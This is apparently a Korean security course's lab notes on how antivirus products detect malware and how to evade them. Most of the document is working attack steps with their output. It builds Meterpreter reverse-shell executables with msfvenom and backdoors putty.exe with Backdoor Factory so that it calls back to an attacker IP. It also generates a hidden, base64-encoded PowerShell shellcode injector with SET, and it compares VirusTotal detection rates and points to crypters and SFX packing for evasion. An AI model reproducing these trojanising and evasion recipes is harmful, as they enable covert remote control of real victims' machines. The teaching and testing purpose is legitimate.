Microsoft Defender(https://namu.wiki/w/Windows%20Defender)

NANO-Antivirus

Panda Cloud Antivirus

Qihoo-360

Rising

SUPERAntiSpyware

Sophos

Symantec

Tencent

TheHacker

TotalDefense

TrendMicro

TrendMicro-HouseCall

VBA32

VIPRE

ViRobot

Yandex

Zillya

Zoner

nProtect


[참고 사이트]

https://namu.wiki/w/%EB%AC%B4%EB%A3%8C%EB%B0%B1%EC%8B%A0








백신 프로그램의 구성과 한계점


■ 백신 프로그램 구성

수동검사 : 파일과 레지스트리 등에서 검사

실시간 검사 : 파일 복사, 실행 때 검사

행위 검사 : 실행 되는 프로그램 행위 검사

방화벽 : 외부 접속 시도 검사


■ 백신 프로그램의 한계

알려진 악성코드 위주로 진단 : 샘플이 확보 되어야 진단 가능

신종 악성코드 제한적 진단/예방 : 제한적 신종 진단

공격자도 테스트 가능 : 공격자가 절대적으로 유리

오진 우려 : 진단율과 오진율, 성능의 저울질










!!!! 백신 프로그램의 진단 방법을 알고 있다면 우회할 수 있다. !!!!



■ 백신 프로그램의 진단 방법


(1) 백신 진단법


기본진단법

String

Wildcards

Hash(CRC)


확장진단법

포괄진단(Generic Detection) - 모양이 조금씩 달라도 모두 같은것이다.

경험적진단(Heuristic Detection)

파일 외형(Icon, Version, 인증서 등)


추가진단법

Cloud 기반 진단

행위 기반 진단

평판 기반 진단



(2) 발전하는 백신 프로그램

시그니처 진단
- 문자열
- Wildcard
- CRC
- 특성화 등

Generic/Heuristic 진단
- 유사 변형 진단
- 완전히 새로운 형태 진단 제한적
- 진단율 높을 수록 오진 가능성 상승

행위 기반 진단
- 완전한 새로운 형태 진단 못함
- 유사 정상 프로그램과 구분 어려움
- 비교적 높은 오진 가능성

Cloud/평판 진단
- 개발자 PC에는 적합하지 않음
- 정상 프로그램 내에 포함 한다면?
- 사용자가 적다고 악성은 아님



(3) 모두가 함께 해야 하는 보안

개인
- 보안 관심 및 습관
- 신고

기업/기관
- 보안 체계
- 보안 투자
- 정보 공유

보안 업체
- 대응
- 기술 개발
- 정보 공유

정부
- 인력 양성
- 법 집행
- 외국과 협력
- 정보 공유



[참고 URL] 백신 프로그램의 원리와 동작(차민석) - 2015_1117

http://www.slideshare.net/JackyMinseokCha/20151117security-plus






실무 악성 코드 분석 과정


        동적 분석 ----> 정적 분석


외형 분석
- 파일 유형 판단
- 문자열 추출 및 분석
- 파일 등록 정보 활용
- 샘플 접수 정보 활용

증상 분석
- 전 이미지 정보 수집(Before)
- 샘플 실행
- 후 이미지 정보 수집(After)
- 증상 정보 분석

자료 분석
- 증상 정보 추가 분석
- 각종 정보 수집
- 로그 정보 수집/분석

상세 분석
- 디스어셈블 분석
- 상세 디버깅

엔진 반영
- 엔진 반영 여부 결정
- 진단 시그니쳐 및 함수 작성
- 분석 정보 작성



악성 코드 분석 도구

분석 도구 이름

분석 도구 종류

분석도구 다운로드 사이트

Frhed HexaEditor

Hexa Editor

www.klbrla.de

UltraEdit

Hexa Editor

www.ultraedit.com

Process Explorer

프로세스, thread, DLL  실행 정보

www.sysinternals.com

Dependency Walker

DLL, Export 함수 정보

www.microsoft.com

FileMon

파일시스템 변경 모니터링

www.sysinternals.com

RegMon

레지스트리 변경 모니터링

www.sysinternals.com

TCPView

통신 포트 모니터링

www.sysinternals.com

Active Ports

통신 포트 모니터링

www.proctect-me.com

Analyzer

네트워크 패킷 캡쳐

www.analyzer.pollto.it

Ethereal

네트워크 패킷 캡쳐

www.ethereal.com

LoadPE

실행 프로세스 Dump 및 PE Rebuild

y0da.cjb.net

PEID

PE 정보 획득

peld.has.it

OllyDbg

범용디버거

www.ollydbg.de

IDA

디스어셈블러

www.datarescue.com

WinDbg

User/Kernel mode 디버거

www.microsoft.com

SoftICE

User/Kernel mode 디버거

www.compuware.com






3. 동적 분석


증상 분석

























































■ 악성 코드의 진단 회피 기술

Encryption

Stealth Rootkit

Polymorphic/Metamorphic

Anti-AntiVirus















[실습1] 윈도우 시스템에 Anti-Virus/Anti-Malware software을 설치하고 업데이트 한다.


사용 시스템: Windows 7

Anti-Virus Software 프로그램 : V3 Lite

V3 Lite 다운로드 : http://www.ahnlab.com/kr/site/product/productView.do?prodSeq=8




(Windows 7)


V3 Lite를 http://www.ahnlab.com/kr/site/product/productView.do?prodSeq=8 사이트에서 다운로드 및 설치 작업을 진행한다.


설치가 되고 나면 반드시 업데이트 작업을 진행한다.


snapshot 실행한다.(snapshot 이름 지정)


AntiVirus Software 실행한다.(EX: V3Lite 프로그램)


AntiVirus Software 업데이트 한다.


"빠른 검사" 실행한다.


여러개의 악성코드가 존재한다고 표시될것이다. 그럼 <검사 예외 추가> 추가한다.








[실습2] 칼리리눅스내에서 기본적인 실습을 통해 reverse_tcp를 생성한다.


사용시스템 :

- KaliLinux

- Windows 7





(KaliLinux)

① 서버에서 실행할 resource 파일 생성


        (알림) 이 작업은 이전에 실습에서 사용한 파일을 그대로 사용한다.


# cd /root/bin

# vi reverse_resource.rc

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.20.50

set ExitSession false

exploit -j -z



② 윈도우 클라이언트에서 실행할 reverse_test.exe 파일 생성

# cd /root/bin

# msfvenom -p windows/x64/meterpreter/reverse_tcp \

LHOST=192.168.20.50 LPORT=4444 \

-f exe \

-o reverse_test.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86_64 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 510 bytes

Saved as: reverse_test.exe

-> LHOST에는 192.168.10.50 공격자의 IP 입력한다.

-> 생성된 reverse_test.ex 파일이 대상 시스템에서 실행하면 공격 시스템은 대상 시스템에 침투한

   것과 동일한 환경이 된다.


# ls reverse_*

reverse_resource2.rc  reverse_resource.rc  reverse_test.exe



③ 공유 디렉토리에 전송할 파일 준비

# cp reverse_test.exe /share

# service smbd restart

# smbclient -L localhost -N

Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.8-Debian]

 

        Sharename       Type      Comment

        ---------       ----      -------

        print$          Disk      Printer Drivers

        share           Disk      Kali Linux Shared Directory

        IPC$            IPC       IPC Service (Samba 4.3.8-Debian)

Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.8-Debian]

 

        Server               Comment

        ---------            -------

 

        Workgroup            Master

        ---------            -------





④ 윈도우 7으로 파일 전송

 

(windows7)

공유 디렉토리에 접속하여 파일을 로컬로 복사한다.

\\192.168.20.50\share\resource_test.exe ---> 바탕화면으로 복사


⑤ 칼리리눅스에서 reverse_resource.rc 파일을 이용하여 listen 상태로 실행

(KaliLinux)

# cd /root/bin

# msfconsole -r reverse_resource.rc

..... (중략) .....

Love leveraging credentials? Check out bruteforcing

in Metasploit Pro -- learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]

+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]

+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

[*] Processing reverse_resource.rc for ERB directives.

resource (reverse_resource.rc)> use exploit/multi/handler

resource (reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp

PAYLOAD => windows/x64/meterpreter/reverse_tcp

resource (reverse_resource.rc)> set LHOST 192.168.20.50

LHOST => 192.168.20.50

resource (reverse_resource.rc)> set ExitSession false

ExitSession => false

resource (reverse_resource.rc)> exploit -j -z

[*] Exploit running as background job.

 

[*] Started reverse TCP handler on 192.168.20.50:4444

msf exploit(handler) > [*] Starting the payload handler...

 


⑥ 윈도우 7 시스템에서 reverse_test.exe 파일 실행


(windows7)

바탕화면에 놓은 reverse_test.exe 프로그램을 실행한다.


        (질문) reverse_test.exe 파일이 실행될때 V3 Lite 탐지 되었는가?


⑦ 칼리리눅스에서 연결된 세션을 확인한다.


(KaliLinux)

[*] Exploit running as background job.

 

[*] Started reverse TCP handler on 192.168.20.50:4444

msf exploit(handler) > [*] Starting the payload handler...

[*] Sending stage (1188911 bytes) to 192.168.20.202

[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:53197) at 2016-07-06 13:33:21 +0900

<ENTER>

msf exploit(handler) > sessions -i

 

Active sessions

===============

 

  Id  Type                   Information                      Connection

  --  ----                   -----------                      ----------

  1   meterpreter x64/win64  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:4444 -> 192.168.20.202:53197 (192.168.20.202)

 

msf exploit(handler) >




⑧ 악성 코드 탐지에 대한 테스트


V3 Lite 프로그램에서 <빠른검사>를 진행한다.

-> 발견된 악성코드가 없다.


        (질문) V3 Lite 프로그램이 공유디렉토리에서 받은 reverse_test.exe 파일을 악성코드로

                인식했는가?


⑨ Virustotal 사이트에서 확인해 보자.



총 53개 중 12개의 AV 제품만이 악성코드로 인식하였다.

안타깝게도 V3와 알약은 악성코드로 인식하지 못했다.






[실습3] Backdoor Factory 사용한 악성 코드 제작


사용시스템

- KaliLinux

- Windows 7


최신 버전의 Backdoor Factory 받는다.


git 사이트에서 최신본의 프로그램을 선택한다.

- https://github.com



① 악성코드 만들기 위해 정상 프로그램을 다운로드

 

정상 프로그램 : putty.exe


웹브라우저를 실행하여

http://www.google.com 사이트에 접속하여

"putty download windows 7 64bit" 검색어로 하여 검색한다.


② 다운로드 받은 파일을 적당한 위치로 이동한다.

# cd

# ls

문서/    다운로드/     expect.log  keys.txt            scan1.xml  shellexe2*   test*

음악/    바탕화면/     expect.sh*  myshellcode.c       scan2.xml  shellexe2.c  test.dtd

공개/    backdoor.php  fimap.log   mysql_HKD.pl*       scan.txt   shellexe.c   workspace/

서식/    bin/          ftp.log     mysql_HKD.pl.TXT    shell/     sshkeys.txt

사진/    cmd.sh*       ftp.sh*     paros/              shell.c    telnet.log

비디오/  core          icmp.cap    pentbox-1.8.tar.gz  shellexe*  telnet.sh*


# cd "다운로드"

# ls

putty.exe


# cp putty.exe /test





③ backdoor factory 명령어를 사용하여 putty.exe 파일과 악성코드를 합치기

# cd /test

# ls

putty.exe


# backdoor-factory

    ____  ____  ______           __     

   / __ )/ __ \/ ____/___ ______/ /_____  _______  __

  / __  / / / / /_  / __ `/ ___/ __/ __ \/ ___/ / / /

 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /

/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /

                                            /____/

 

         Author:    Joshua Pitts

         Email:     the.midnite.runr[-at ]gmail<d o-t>com

         Twitter:   @midnite_runr

         IRC:       freenode.net #BDFactory

        

         Version:   3.3.1

        

Usage: backdoor.py [options]

 

Options:

  -h, --help            show this help message and exit

  -f FILE, --file=FILE  File to backdoor

  -s SHELL, --shell=SHELL

                        Payloads that are available for use. Use 'show' to see

                        payloads.

  -H HOST, --hostip=HOST

                        IP of the C2 for reverse connections.

  -P PORT, --port=PORT  The port to either connect back to for reverse shells

                        or to listen on for bind shells

  -J, --cave_jumping    Select this options if you want to use code cave

                        jumping to further hide your shellcode in the binary.

  -a, --add_new_section

                        Mandating that a new section be added to the exe

                        (better success) but less av avoidance

  -U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

                        User supplied shellcode, make sure that it matches the

                        architecture that you are targeting.

  -c, --cave            The cave flag will find code caves that can be used

                        for stashing shellcode. This will print to all the

                        code caves of a specific size.The -l flag can be use

                        with this setting.

  -l SHELL_LEN, --shell_length=SHELL_LEN

                        For use with -c to help find code caves of different

                        sizes

  -o OUTPUT, --output-file=OUTPUT

                        The backdoor output file

  -n NSECTION, --section=NSECTION

                        New section name must be less than seven characters

  -d DIR, --directory=DIR

                        This is the location of the files that you want to

                        backdoor. You can make a directory of file backdooring

                        faster by forcing the attaching of a codecave to the

                        exe by using the -a setting.

  -w, --change_access   This flag changes the section that houses the codecave

                        to RWE. Sometimes this is necessary. Enabled by

                        default. If disabled, the backdoor may fail.

  -i, --injector        This command turns the backdoor factory in a hunt and

                        shellcode inject type of mechanism. Edit the target

                        settings in the injector module.

  -u SUFFIX, --suffix=SUFFIX

                        For use with injector, places a suffix on the original

                        file for easy recovery

  -D, --delete_original

                        For use with injector module.  This command deletes

                        the original file.  Not for use in production systems.

                        *Author not responsible for stupid uses.*

  -O DISK_OFFSET, --disk_offset=DISK_OFFSET

                        Starting point on disk offset, in bytes. Some authors

                        want to obfuscate their on disk offset to avoid

                        reverse engineering, if you find one of those files

                        use this flag, after you find the offset.

  -S, --support_check   To determine if the file is supported by BDF prior to

                        backdooring the file. For use by itself or with

                        verbose. This check happens automatically if the

                        backdooring is attempted.

  -M, --cave-miner      Future use, to help determine smallest shellcode

                        possible in a PE file

  -q, --no_banner       Kills the banner.

  -v, --verbose         For debug information output.

  -T IMAGE_TYPE, --image-type=IMAGE_TYPE

                        ALL, x86, or x64 type binaries only. Default=ALL

  -Z, --zero_cert       Allows for the overwriting of the pointer to the PE

                        certificate table effectively removing the certificate

                        from the binary for all intents and purposes.

  -R, --runas_admin     EXPERIMENTAL Checks the PE binaries for

                        'requestedExecutionLevel level="highestAvailable"'. If

                        this string is included in the binary, it must run as

                        system/admin. If not in Support Check mode it will

                        attmept to patch highestAvailable into the manifest if

                        requestedExecutionLevel entry exists.

  -L, --patch_dll       Use this setting if you DON'T want to patch DLLs.

                        Patches by default.

  -F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

                        For MACH-O format. If fat file, focus on which arch to

                        patch. Default is x64. To force x86 use -F x86, to

                        force both archs use -F ALL.

  -B BEACON, --beacon=BEACON

                        For payloads that have the ability to beacon out, set

                        the time in secs

  -m PATCH_METHOD, --patch-method=PATCH_METHOD

                        Patching methods for PE files, 'manual','automatic',

                        and onionduke

  -b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

                        For onionduke. Provide your desired binary.

  -X, --xp_mode         Default: DO NOT support for XP legacy machines, use -X

                        to support XP. By default the binary will crash on XP

                        machines (e.g. sandboxes)

  -A, --idt_in_cave     EXPERIMENTAL By default a new Import Directory Table

                        is created in a new section, by calling this flag it

                        will be put in a code cave.  This can cause bianry

                        failure is some cases. Test on target binaries first.

  -C, --code_sign       For those with codesigning certs wishing to sign PE

                        binaries only. Name your signing key and private key

                        signingcert.cer and signingPrivateKey.pem repectively

                        in the certs directory it's up to you to obtain

                        signing certs.


# backdoor-factory -f /test/putty.exe -s show

..... (중략) .....

         Author:    Joshua Pitts

         Email:     the.midnite.runr[-at ]gmail<d o-t>com

         Twitter:   @midnite_runr

         IRC:       freenode.net #BDFactory

        

         Version:   3.3.1

        

[*] In the backdoor module

[*] Checking if binary is supported

[*] Gathering file info

[*] Reading win32 entry instructions

The following WinIntelPE32s are available: (use -s)

   cave_miner_inline

   iat_reverse_tcp_inline

   iat_reverse_tcp_inline_threaded

   iat_reverse_tcp_stager_threaded

   iat_user_supplied_shellcode_threaded

   meterpreter_reverse_https_threaded

   reverse_shell_tcp_inline

   reverse_tcp_stager_threaded

   user_supplied_shellcode_threaded


# backdoor-factory \

-f /test/putty.exe \

-s iat_reverse_tcp_stager_threaded \

-H 192.168.20.50 -P 8080

    ____  ____  ______           __     

   / __ )/ __ \/ ____/___ ______/ /_____  _______  __

  / __  / / / / /_  / __ `/ ___/ __/ __ \/ ___/ / / /

 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /

/_____/_____/_/    \__,_/\___/\__/\____/_/   \__, /

                                            /____/

 

         Author:    Joshua Pitts

         Email:     the.midnite.runr[-at ]gmail<d o-t>com

         Twitter:   @midnite_runr

         IRC:       freenode.net #BDFactory

        

         Version:   3.3.1

        

[*] In the backdoor module

[*] Checking if binary is supported

[*] Gathering file info

[*] Reading win32 entry instructions

[*] Gathering file info

[*] Overwriting certificate table pointer

[*] Loading PE in pefile

[*] Parsing data directories

[*] Looking for and setting selected shellcode

[*] Creating win32 resume execution stub

[*] Looking for caves that will fit the minimum shellcode length of 409

[*] All caves lengths:  409

############################################################

The following caves can be used to inject code and possibly

continue execution.

**Don't like what you see? Use jump, single, append, or ignore.**

############################################################

[*] Cave 1 length as int: 409

[*] Available caves:

1. Section Name: None; Section Begin: None End: None; Cave begin: 0x29c End: 0xffc; Cave Size: 3424

2. Section Name: .rdata; Section Begin: 0x5d000 End: 0x7b000; Cave begin: 0x7a47c End: 0x7b000; Cave Size: 2948

3. Section Name: .data; Section Begin: 0x7b000 End: 0x7d000; Cave begin: 0x7b9e5 End: 0x7bc0c; Cave Size: 551

4. Section Name: None; Section Begin: None End: None; Cave begin: 0x7c400 End: 0x7d00a; Cave Size: 3082

**************************************************

[!] Enter your selection: 3

[!] Using selection: 3

[*] Changing flags for section: .data

[*] Patching initial entry instructions

[*] Creating win32 resume execution stub

[*] Looking for and setting selected shellcode

File putty.exe is in the 'backdoored' directory


# ls

backdoored/  putty.exe


# cd backdoored

# cp putty.exe /var/www/html

# msfconsole

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

 

     Trace program: running

 

           wake up, Neo...

        the matrix has you

      follow the white rabbit.

 

          knock, knock, Neo.

 

                        (`.         ,-,

                        ` `.    ,;' /

                         `.  ,'/ .'

                          `. X /.'

                .-;--''--.._` ` (

              .'            /   `

             ,           ` '   Q '

             ,         ,   `._    \

          ,.|         '     `-.;_'

          :  . `  ;    `  ` --,.._;

           ' `    ,   )   .'

              `._ ,  '   /_

                 ; ,''-,;' ``-

                  ``-..__``--`

 

                             http://metasploit.pro

 

 

Taking notes in notepad? Have Metasploit Pro track & report

your progress and findings -- learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]

+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]

+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.20.50

LHOST => 192.168.20.50

msf exploit(handler) > set LPORT 8080

LPORT => 8080

msf exploit(handler) > exploit

 

[*] Started reverse TCP handler on 192.168.20.50:8080

[*] Starting the payload handler...

 


(windows 7)


웹브라우저를 실행한다.

http://192.168.20.50/putty.exe


그럼 putty.exe 파일이 다운로드된다.


다운로드된 putty.exe 파일을 바탕화면으로 옮기고 실행한다.


(KaliLinux)


..... (중략) .....

[*] Started reverse TCP handler on 192.168.20.50:8080

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 192.168.20.202

[*] Meterpreter session 1 opened (192.168.20.50:8080 -> 192.168.20.202:53273) at 2016-07-06 15:03:09 +0900

 

meterpreter >

 

-> 자동으로 세션이 연결된것을 확인할 수 있다.



(windows 7)


        (질문) V3 Lite가 웹으로 다운로드 받은 악성코드를 탐지 하였는가?






바이러스 탐지 툴을 실행한다. <빠른 검사>를 실행한다.

-> 악성코드는 실행되어져 있는 상태이지만 V3 Lite는 탐지 하지 못했다.


        (질문) putty.exe 프로그램이 실행이 될때 악성코드가 탐지 되었는가?


virustotal 사이트에서 점검해 보자.


-> 총 53개 중 19개 정도가 탐지 되었다.

-> 다행히 알약에서는 탐지가 되었고, V3에서는 감지가 되지 않았다.











[실습4] setoolkit + MSF 사용한 악성 코드 제작


Kali Linux (Metasploit) - Creating a Backdoor Undetectable by Antivirus + Keylogger

https://www.youtube.com/watch?v=5p6IJRuxSvc


유튜브 검색 단어

Undetectable by Antivirus

-> 아래 목록이 나온다.

https://www.youtube.com/results?search_query=Undetectable+by+Antivirus


사용시스템

- KaliLinux

- Windows 7



(KaliLinux)


[TERM1] 첫번째 터미널

# cd /root/bin

# setoolkit

Last login: Tue Jun 28 17:53:30 2016 from 192.168.10.1

 

                 .--.  .--. .-----.

                : .--': .--'`-. .-'

                `. `. : `;    : :

                 _`, :: :__   : :

                `.__.'`.__.'  :_;

 

[---]        The Social-Engineer Toolkit (SET)         [---]

[---]        Created by: David Kennedy (ReL1K)         [---]

[---]                Version: 7.1.1                    [---]

[---]             Codename: 'Blue Steel'               [---]

[---]        Follow us on Twitter: @TrustedSec         [---]

[---]        Follow me on Twitter: @HackingDave        [---]

[---]       Homepage: https://www.trustedsec.com       [---]

 

        Welcome to the Social-Engineer Toolkit (SET).

         The one stop shop for all of your SE needs.

 

     Join us on irc.freenode.net in channel #setoolkit

 

   The Social-Engineer Toolkit is a product of TrustedSec.

 

             Visit: https://www.trustedsec.com

 

 Select from the menu:

 

   1) Social-Engineering Attacks

   2) Fast-Track Penetration Testing

   3) Third Party Modules

   4) Update the Social-Engineer Toolkit

   5) Update SET configuration

   6) Help, Credits, and About

 

  99) Exit the Social-Engineer Toolkit

 

set> 1

 

 Select from the menu:

 

   1) Spear-Phishing Attack Vectors

   2) Website Attack Vectors

   3) Infectious Media Generator

   4) Create a Payload and Listener

   5) Mass Mailer Attack

   6) Arduino-Based Attack Vector

   7) Wireless Access Point Attack Vector

   8) QRCode Generator Attack Vector

   9) Powershell Attack Vectors

  10) Third Party Modules

 

  99) Return back to the main menu.

 

set> 9

 

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks will allow you to use PowerShell which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful  landscape for deploying payloads and performing functions that  do not get triggered by preventative technologies.

 

   1) Powershell Alphanumeric Shellcode Injector

   2) Powershell Reverse Shell

   3) Powershell Bind Shell

   4) Powershell Dump SAM Database

 

  99) Return to Main Menu

 

set:powershell>1

set> IP address for the payload listener (LHOST): 192.168.20.50

set:powershell> Enter the port for the reverse [443]:443

[*] Prepping the payload for delivery and injecting alphanumeric shellcode...

[*] Generating x86-based powershell injection code...

[*] Finished generating powershell injection bypass.

[*] Encoded to bypass execution restriction policy...

[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/

set> Do you want to start the listener now [yes/no]: : yes

 

# cowsay++

 ____________

< metasploit >

 ------------

       \   ,__,

        \  (oo)____

           (__)    )\

              ||--|| *

 

 

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro

Learn more on http://rapid7.com/metasploit

 

       =[ metasploit v4.11.5-2016010401                   ]

+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]

+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]

+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

 

[*] Processing /root/.set/reports/powershell/powershell.rc for ERB directives.

resource (/root/.set/reports/powershell/powershell.rc)> use multi/handler

resource (/root/.set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

resource (/root/.set/reports/powershell/powershell.rc)> set LPORT 443

LPORT => 443

resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0

LHOST => 0.0.0.0

resource (/root/.set/reports/powershell/powershell.rc)> set ExitOnSession false

ExitOnSession => false

resource (/root/.set/reports/powershell/powershell.rc)> exploit -j

[*] Exploit running as background job.

 

[*] Started reverse TCP handler on 0.0.0.0:443

msf exploit(handler) > [*] Starting the payload handler...

<ENTER>

msf exploit(handler) > jobs

 

Jobs

====

 

  Id  Name                    Payload                          LPORT

  --  ----                    -------                          -----

  0   Exploit: multi/handler  windows/meterpreter/reverse_tcp  443

 

msf exploit(handler) >

-> listen 상태로 대기한다.


[TERM2] 두번째 터미널

# cd /root/.set/reports/powershell

# ls

powershell.rc  x86_powershell_injection.txt


# file *

powershell.rc:                ASCII text

x86_powershell_injection.txt: ASCII text, with very long lines, with no line terminators


# cat powershell.rc

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LPORT 443

set LHOST 0.0.0.0

set ExitOnSession false


# cat x86_powershell_injection.txt

powershell -nop -win hidden -noni -enc JABVAHAATgAgAD0AIAAnACQAbQBuAEQAQQAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQA

..... (중략) .....

BlAHQAQgB5AHQAZQBzACgAJABVAHAATgApACkAOwAkAHAAaABDACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAdgBpADMAYgAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAB2AGkAMwBiACAAJABwAGgAQwAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABwAGgAQwAgACQAZQAiADsAfQA=

-> 한줄짜리 파일이라는 것을 알수 있다.


# mv x86_powershell_injection.txt x86_powershell_injection.bat

# cp x86_powershell_injection.bat /share

# service smbd restart



(Windows 7)

바탕화면에 Malware 디렉토리를 생성하고


\\192.168.20.50\share 디렉토리에 안에 있는 파일을 바탕화면에 Malware 디렉토리에 복사한다.


        (질문) 파일이 복사 되었을때 Anti-Virus 프로그램이 탐지 하였는가?


Malware 디렉토리안에 x86_powershell_injection.bat 파일을 실행한다.


        (질문)  악성코드가 실행될때 Anti-Virus 프로그램이 탐지 하였는가?


(KaliLinux)

[TERM1] 첫번째 윈도우

msf exploit(handler) >

[*] Sending stage (957487 bytes) to 192.168.20.202

[*] Meterpreter session 1 opened (192.168.20.50:443 -> 192.168.20.202:49182) at 2016-06-30 11:27:29 +0900

<ENTER>

msf exploit(handler) > sessions -l

 

Active sessions

===============

 

  Id  Type                   Information                      Connection

  --  ----                   -----------                      ----------

  1   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:443 -> 192.168.20.202:49182 (192.168.20.202)

 

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

 

meterpreter > sysinfo

Computer        : SOLDESK-PC

OS              : Windows 7 (Build 7601, Service Pack 1).

Architecture    : x64 (Current Process is WOW64)

System Language : ko_KR

Domain          : WORKGROUP

Logged On Users : 2

Meterpreter     : x86/win32

meterpreter >

 

 

 

 



(Windows 7)


AntiVirus Software 실행한다.(EX: V3Lite 프로그램)


AntiVirus Software 업데이트 한다.


"빠른 검사" 실행한다.

-> 우리가 집어 넣은 파일은 검색되지 않는다.


Malware 디렉토리를 선택하고 오른쪽 마우스를 선택하면 "V3  탐색기 검사" 부분을 선택한다.

하지만 악성코드가 탐지 되지 않는다.







http://www.virustotal.com

실행전

실행후

-> 맥아피(McAfee), McAfee-GW-Edition, 어베스트(Avast) 외에 다른 Anti-Virus 제품은 인식하지 못

   했다.

-> 54개의 바이러스 검색 엔진 중 3개 정도만 detect가 되었다.









■ 결과 분석1(2016년 07월06일 현재)

파일이름

만든방법

V3 Lite

탐지유무

VirusTotal 결과

reverse_test.exe

msfvenom CMD

파일 전송시

X

53개중 12개 AV가 탐지

파일 실행시

X

디렉토리 검사시

X

putty.exe

backdoor-factory CMD

파일 전송시

X

53개중 19개 AV가 탐지

파일 실행시

X

디렉토리 검사시

X

x86_powershell_injection.bat

setookit CMD

파일 전송시

X

53개중 3개 AV가 탐지

파일 실행시

X

디렉토리 검사시

X


■ 결과 분석2(2016년 07월06일 현재)

파일이름

만든방법

VirusTotal 사이트에서 탐지한 AV 종류

reverse_test.exe

msfvenom CMD

AVG

AVware

Antiy-AVL

Avast

ESET-NOD32

Fortinet

GData

lkarus

Jiangmin

Malwarebytes

TrendMicro-HouseCall

putty.exe

backdoor-factory CMD

ALYac

AVG

AVware

Arcabit

Avast

BitDefender

Cyren

ESET-NOD32

Emsisoft

F-Port

F-Secure

GData

lkarus

K7AntiVirus

K7GW

eScan

Qihoo-360

TrendMicro-HouseCall

Zillya

x86_powershell_injection.bat

setookit CMD

Avast

lkarus

McAfee



결론

현재 테스트의 결과로만 보았을때
-> 결론적으로 Avast 제품이 탐지 확율이 높은것으로 판단이 된다.

그리고 powershell injection 명령어 형식이 탐지 확율이 떨어진다는것을 확인할 수 있다.




[실습5] 상용 툴을 통한 안티바이러스 감지 우회 방법(암호화 방식을 사용하는 경우)


Tool: CypherX FUD Crypter

HomePage : www.CypherX.org



동영상으로 확인

http://cypherx.org/fud-crypter-tour

상용 툴이라서 반드시 구매를 해야지만 툴 사용이 가능하다.


Open Source 암호화 프로그램을 찾아 보기 바란다.




[실습6] WinRAR를 사용하여 암호화하기


사용 툴

- winrar


winrar 다운로드 사이트

http://blog.daum.net/_blog/BlogTypeView.do?blogid=07xqn&articleno=15928851&categoryId=696448&regdt=20140917002243


파일 이름: winrar-x64-511kr.exe




winrar 설치한다.


바탕화면에 Malware 디렉토리안에 파일이 3개 존재한다.





Malware 디렉토리안의 파일들 중 reverse_test.exe 파일을 선택하고 오른쪽 마우스를 선택한 이후에 파일압축에 추가하기 선택 한다.


압축 옵션 부분 중 다음과 같은 부분을 선택한다.

[ V ] 자동풀림(SFX) 압축파일 생성

[ V ] 솔리드 압축파일 생성

[ V ] 압축파일 잠금


그리고 패스워드 설정 선택하고 암호를 입력하고 확인을 선택한다. (암호: soldesk1.)


